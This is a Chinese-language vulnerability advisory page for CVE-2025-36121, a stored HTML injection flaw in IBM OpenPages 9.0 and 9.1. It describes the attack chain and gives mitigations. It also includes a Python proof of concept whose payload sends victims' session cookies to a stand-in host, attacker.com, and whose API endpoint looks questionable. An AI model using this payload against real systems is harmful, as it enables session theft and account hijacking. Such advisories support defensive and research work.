IPBUF安全漏洞报告
English
CVE-2025-36121 CVSS 5.4 中危

CVE-2025-36121 IBM OpenPages HTML注入漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-36121
漏洞类型
HTML注入
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
IBM OpenPages 9.1, IBM OpenPages 9.0

相关标签

HTML注入存储型XSSIBM OpenPagesCVE-2025-36121中危漏洞身份验证绕过Web应用安全GRC平台

漏洞概述

CVE-2025-36121是IBM OpenPages中存在的一个HTML注入漏洞。IBM OpenPages是一款企业级治理、风险管理和合规(GRC)平台,广泛应用于金融、保险等行业的内部控制和风险管理场景。该漏洞允许远程认证攻击者通过在受影响的应用中注入恶意HTML代码,当其他用户查看包含恶意代码的内容时,这些代码会在受害者的Web浏览器中执行。由于攻击在受信任站点的安全上下文中运行,攻击者可以窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或修改页面显示内容。CVSS评分5.4属于中等严重程度,攻击复杂度低但需要低权限认证和用户交互。漏洞影响IBM OpenPages 9.1和9.0版本,官方已在后续更新中修复此问题。建议受影响用户尽快升级到最新版本以消除安全风险。

技术细节

该漏洞属于存储型HTML注入(Stored HTML Injection)类型,类似于存储型XSS漏洞。攻击过程如下:1)攻击者首先需要拥有IBM OpenPages的有效用户账户(低权限即可);2)攻击者在用户输入字段(如评论、描述、备注等文本输入框)中注入恶意HTML/JavaScript代码;3)由于应用未对用户输入进行充分的输入验证和输出编码,恶意代码被存储在数据库中;4)当其他用户访问包含该恶意内容的功能页面时,服务器将恶意代码随页面内容一起返回给用户浏览器;5)浏览器将恶意代码作为页面的一部分解析执行,从而在受害者的浏览器环境中执行任意操作。由于代码在受信任站点的安全上下文中运行,同源策略允许攻击者访问该域下的所有资源和用户会话信息。攻击者可以利用此漏洞窃取用户会话令牌、进行CSRF攻击、或诱导用户输入敏感信息。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者收集目标IBM OpenPages系统的版本信息(9.0或9.1),识别可利用的输入点
STEP 2
步骤2
初始访问:攻击者使用低权限账户登录IBM OpenPages平台
STEP 3
步骤3
载荷注入:在支持富文本输入的字段(如观察项描述、评论、备注等)中注入恶意HTML/JavaScript代码
STEP 4
步骤4
载荷存储:恶意代码被未经过滤地存储在系统数据库中
STEP 5
步骤5
触发访问:受害者访问包含恶意内容的页面,浏览器解析并执行注入的代码
STEP 6
步骤6
恶意执行:在受害者浏览器上下文中执行任意操作,窃取会话cookie或执行钓鱼攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-36121 PoC - IBM OpenPages HTML Injection # Target: IBM OpenPages 9.0/9.1 # Attack Type: Stored HTML Injection TARGET_URL = "https://vulnerable-server:9443/oraclecpapi" USERNAME = "attacker_account" PASSWORD = "attacker_password" # Malicious HTML/JavaScript payload PAYLOAD = '''<img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie">''' def login(): """Authenticate and obtain session token""" session = requests.Session() login_url = f"{TARGET_URL}/auth/login" data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=data, verify=False) if response.status_code == 200: return session return None def inject_html(session): """Inject malicious HTML into vulnerable field""" # Target endpoint varies based on application configuration inject_url = f"{TARGET_URL}/api/v1/objects/create" headers = {"Content-Type": "application/json"} data = { "objectType": "observation", "description": PAYLOAD, # Vulnerable field "category": "risk" } response = session.post(inject_url, json=data, headers=headers, verify=False) return response.status_code == 200 def main(): print("CVE-2025-36121 PoC - IBM OpenPages HTML Injection") session = login() if session: if inject_html(session): print("[+] HTML injection successful!") print("[*] Payload stored. Victims viewing this content will trigger the payload.") else: print("[-] Injection failed.") else: print("[-] Authentication failed.") if __name__ == "__main__": main()

影响范围

IBM OpenPages 9.0
IBM OpenPages 9.1

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)审查并限制用户输入字段的内容类型,禁止HTML标签;2)对所有用户输入实施白名单过滤策略;3)启用HTTPOnly和Secure标志保护会话Cookie;4)监控应用日志中的异常HTML标签模式;5)考虑暂时禁用非必要的富文本编辑功能;6)对高风险用户账户实施额外的多因素认证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表